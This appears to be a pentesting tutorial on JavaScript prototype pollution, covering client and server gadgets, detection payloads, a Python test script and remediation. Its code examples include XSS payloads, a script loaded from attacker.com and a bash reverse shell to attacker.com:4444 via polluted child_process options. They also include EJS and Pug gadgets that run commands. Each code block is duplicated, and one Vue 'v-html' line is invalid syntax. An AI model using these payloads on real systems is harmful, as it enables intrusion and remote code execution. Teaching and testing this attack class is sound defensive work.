Prototype Pollution Attacks
Prototype pollution allows attackers to modify JavaScript's Object.prototype, affecting all objects in the application. This can lead to XSS, RCE, and logic bypasses.
Information
JavaScript Prototype Chain
In JavaScript, objects inherit properties from their prototype. If an attacker can modify Object.prototype, those properties become available on ALL objects in the application.
// JavaScript Prototype Chain Basics
// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!
// Two ways to access prototype:
obj.__proto__ // Legacy, still widely supported
Object.getPrototypeOf(obj) // Modern, safer
// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true
// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input: {"__proto__": {"admin": true}}
// Result: All objects now have admin=true// JavaScript Prototype Chain Basics
// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!
// Two ways to access prototype:
obj.__proto__ // Legacy, still widely supported
Object.getPrototypeOf(obj) // Modern, safer
// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true
// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input: {"__proto__": {"admin": true}}
// Result: All objects now have admin=truePollution Entry Points
__proto__
Direct prototype access. Most common pollution vector.
constructor.prototype
Access via constructor property chain.
Object.prototype
Direct modification if accessible.
Client-Side Prototype Pollution
Client-side pollution typically occurs through URL parameters, hash fragments, or JSON data that gets merged into configuration objects.
// Client-Side Prototype Pollution
// Vulnerable merge function (common pattern)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (typeof target[key] !== 'object') {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true
// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});
// Now Object.prototype.admin = true
// Check in console: {}.admin === true
// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functions// Client-Side Prototype Pollution
// Vulnerable merge function (common pattern)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (typeof target[key] !== 'object') {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true
// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});
// Now Object.prototype.admin = true
// Check in console: {}.admin === true
// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functionsWarning
Finding Pollution Gadgets
// Finding Prototype Pollution Gadgets
// A "gadget" is code that uses polluted properties in dangerous ways
// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";
// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!
// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);
// Attack:
Object.prototype.code = "alert(document.cookie)";
// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';
// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";
// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);
// Attack:
Object.prototype.url = "https://attacker.com/steal";
// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinks// Finding Prototype Pollution Gadgets
// A "gadget" is code that uses polluted properties in dangerous ways
// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";
// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!
// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);
// Attack:
Object.prototype.code = "alert(document.cookie)";
// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';
// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";
// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);
// Attack:
Object.prototype.url = "https://attacker.com/steal";
// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinksServer-Side Prototype Pollution (Node.js)
Server-side pollution is far more dangerous, potentially leading to remote code execution via template engines, child processes, or other Node.js internals.
// Server-Side Prototype Pollution (Node.js)
// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}
// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true
// Attack Example 1: Authorization Bypass
function isAdmin(user) {
return user.admin === true; // Checks own property AND prototype!
}
// After pollution:
isAdmin({}) // true! Empty object now has admin
// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = {
BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};
const { exec } = require('child_process');
exec('echo hello'); // Uses polluted options -> RCE
// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";
// When EJS renders a template, it uses the polluted property
res.render('index', {}); // RCE!
// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};// Server-Side Prototype Pollution (Node.js)
// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}
// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true
// Attack Example 1: Authorization Bypass
function isAdmin(user) {
return user.admin === true; // Checks own property AND prototype!
}
// After pollution:
isAdmin({}) // true! Empty object now has admin
// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = {
BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};
const { exec } = require('child_process');
exec('echo hello'); // Uses polluted options -> RCE
// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";
// When EJS renders a template, it uses the polluted property
res.render('index', {}); // RCE!
// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};Danger
Detection Payloads
# Prototype Pollution Detection Payloads
# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted
# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}
# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}
# Check if pollution worked (Browser Console):
console.log({}.polluted); // Should show "yes"
console.log(Object.prototype.polluted);
# Automated detection with ppfuzz
# https://github.com/nicloklmn/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"
# With ppmap (finds PP + gadgets)
# https://github.com/nicloklmn/ppmap
ppmap -u "https://target.com"# Prototype Pollution Detection Payloads
# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted
# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}
# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}
# Check if pollution worked (Browser Console):
console.log({}.polluted); // Should show "yes"
console.log(Object.prototype.polluted);
# Automated detection with ppfuzz
# https://github.com/nicloklmn/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"
# With ppmap (finds PP + gadgets)
# https://github.com/nicloklmn/ppmap
ppmap -u "https://target.com"Prototype Pollution to XSS
// Prototype Pollution to XSS Gadget Examples
// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = {
handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers
// 2. Vue.js gadget
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this
// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL
// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function
// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!
// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS
// Finding more gadgets with ppmap:
// https://github.com/nicloklmn/ppmap
// Automatically finds pollution sources and matching gadgets// Prototype Pollution to XSS Gadget Examples
// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = {
handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers
// 2. Vue.js gadget
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this
// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL
// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function
// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!
// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS
// Finding more gadgets with ppmap:
// https://github.com/nicloklmn/ppmap
// Automatically finds pollution sources and matching gadgetsAutomated Testing Script
#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""
import requests
import json
import urllib.parse
import sys
def test_json_pollution(url, method='POST'):
"""Test JSON body pollution"""
payloads = [
{"__proto__": {"polluted": "yes"}},
{"constructor": {"prototype": {"polluted": "yes"}}},
{"__proto__": {"toString": "polluted"}},
]
for payload in payloads:
try:
if method == 'POST':
r = requests.post(
url,
json=payload,
headers={'Content-Type': 'application/json'}
)
else:
r = requests.put(url, json=payload)
# Check for pollution indicators in response
if 'polluted' in r.text or r.status_code == 500:
print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
print(f" Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
def test_url_pollution(url):
"""Test URL parameter pollution"""
payloads = [
"__proto__[polluted]=yes",
"__proto__.polluted=yes",
"constructor[prototype][polluted]=yes",
"constructor.prototype.polluted=yes",
]
sep = '&' if '?' in url else '?'
for payload in payloads:
test_url = f"{url}{sep}{payload}"
try:
r = requests.get(test_url)
if 'polluted' in r.text:
print(f"[POTENTIAL] URL pollution: {test_url}")
except Exception as e:
print(f"Error: {e}")
def test_fragment_pollution(base_url):
"""Generate fragment pollution URLs for manual testing"""
payloads = [
"#__proto__[polluted]=yes",
"#__proto__.polluted=yes",
"#constructor[prototype][polluted]=yes",
]
print("\n[INFO] Test these URLs manually in browser:")
for payload in payloads:
print(f" {base_url}{payload}")
print("\n Then check console: {}.polluted")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
sys.exit(1)
url = sys.argv[1]
print("=== Prototype Pollution Testing ===\n")
print("[*] Testing JSON body pollution...")
test_json_pollution(url)
print("\n[*] Testing URL parameter pollution...")
test_url_pollution(url)
print("\n[*] Fragment-based payloads (client-side):")
test_fragment_pollution(url.split('?')[0])#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""
import requests
import json
import urllib.parse
import sys
def test_json_pollution(url, method='POST'):
"""Test JSON body pollution"""
payloads = [
{"__proto__": {"polluted": "yes"}},
{"constructor": {"prototype": {"polluted": "yes"}}},
{"__proto__": {"toString": "polluted"}},
]
for payload in payloads:
try:
if method == 'POST':
r = requests.post(
url,
json=payload,
headers={'Content-Type': 'application/json'}
)
else:
r = requests.put(url, json=payload)
# Check for pollution indicators in response
if 'polluted' in r.text or r.status_code == 500:
print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
print(f" Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
def test_url_pollution(url):
"""Test URL parameter pollution"""
payloads = [
"__proto__[polluted]=yes",
"__proto__.polluted=yes",
"constructor[prototype][polluted]=yes",
"constructor.prototype.polluted=yes",
]
sep = '&' if '?' in url else '?'
for payload in payloads:
test_url = f"{url}{sep}{payload}"
try:
r = requests.get(test_url)
if 'polluted' in r.text:
print(f"[POTENTIAL] URL pollution: {test_url}")
except Exception as e:
print(f"Error: {e}")
def test_fragment_pollution(base_url):
"""Generate fragment pollution URLs for manual testing"""
payloads = [
"#__proto__[polluted]=yes",
"#__proto__.polluted=yes",
"#constructor[prototype][polluted]=yes",
]
print("\n[INFO] Test these URLs manually in browser:")
for payload in payloads:
print(f" {base_url}{payload}")
print("\n Then check console: {}.polluted")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
sys.exit(1)
url = sys.argv[1]
print("=== Prototype Pollution Testing ===\n")
print("[*] Testing JSON body pollution...")
test_json_pollution(url)
print("\n[*] Testing URL parameter pollution...")
test_url_pollution(url)
print("\n[*] Fragment-based payloads (client-side):")
test_fragment_pollution(url.split('?')[0])Testing Tools
DOM Invader (Burp)
Automatically detects PP sources and gadgets during browsing.
Built into Burp Suite ppmap
Scans for pollution sources and matching gadgets.
github.com/nicloklmn/ppmap ppfuzz
Fast fuzzer for finding PP entry points.
github.com/nicloklmn/ppfuzz Client-Side Prototype Pollution
Chrome extension to detect pollution in real-time.
Chrome Web Store Remediation
// Prototype Pollution Remediation
// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null); // No prototype!
safeObj.__proto__ = "attack"; // Just a regular property
// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true; // Silently fails in strict mode
// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe'); // No pollution
// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
target[key] = source[key];
}
return target;
}
// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) { // Only checks own property
// Safe - won't be true from prototype
}
// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully
// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
age: { type: 'number' }
},
additionalProperties: false // Reject unknown keys
};// Prototype Pollution Remediation
// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null); // No prototype!
safeObj.__proto__ = "attack"; // Just a regular property
// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true; // Silently fails in strict mode
// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe'); // No pollution
// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
target[key] = source[key];
}
return target;
}
// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) { // Only checks own property
// Safe - won't be true from prototype
}
// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully
// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
age: { type: 'number' }
},
additionalProperties: false // Reject unknown keys
};Practice Labs
PortSwigger PP Labs
Comprehensive prototype pollution challenges
PP Gadgets Database
Collection of known pollution gadgets
S1r1us PP Research
In-depth prototype pollution research
HackerOne Report Example
Real-world prototype pollution disclosure
Testing Checklist
🔍 Source Detection
- ☐ Test URL query parameters
- ☐ Test URL hash/fragment
- ☐ Test JSON POST body
- ☐ Test form data
- ☐ Look for merge/extend functions
⚡ Gadget Hunting
- ☐ Use DOM Invader
- ☐ Check for innerHTML sinks
- ☐ Check for eval/Function sinks
- ☐ Check script.src assignments
- ☐ Review JS libraries for known gadgets
🖥️ Server-Side
- ☐ Test body-parser pollution
- ☐ Check template engines (EJS, Pug)
- ☐ Test for authorization bypass
- ☐ Look for child_process gadgets
- ☐ Test with constructor.prototype
📝 Payloads
- ☐ __proto__[key]=value
- ☐ __proto__.key=value
- ☐ constructor[prototype][key]
- ☐ Nested object pollution
- ☐ Test both JSON and URL encoding
Evidence Collection
Pollution Proof: Demonstrate that a crafted payload modifies Object.prototype properties — capture before/after states showing the injected property exists on unrelated objects.
XSS/RCE Chain: If pollution leads to XSS (e.g., via template engine gadgets) or RCE (e.g., child_process.exec options), document the full chain from pollution input to code execution.
Property Injection Impact: Record which prototype properties can be set and their downstream effects — e.g., polluting isAdmin, __proto__.role, or constructor.prototype.shell.
Source Identification: Document the entry point (JSON merge, query parameter parser, deep clone function) and the specific code path that performs unsafe recursive assignment.
CVSS Range: 5.3 (property injection without exploitable gadget) – 10.0 (prototype pollution to RCE via known gadget chain)
False Positive Identification
- Framework Sanitization: Modern frameworks like Express 4.17+ sanitize __proto__ from query strings by default — verify the actual runtime behavior, not just the input vector.
- Object.freeze/Seal: If Object.prototype is frozen or sealed, pollution attempts silently fail — check whether Object.isFrozen(Object.prototype) returns true.
- No Exploitable Gadget: Pollution is confirmed but no downstream consumer reads the injected property — without a gadget chain, impact is limited to DoS at most.
- Map/Set Usage: If the application uses Map instead of plain objects for key-value storage, prototype pollution doesn't affect those data structures.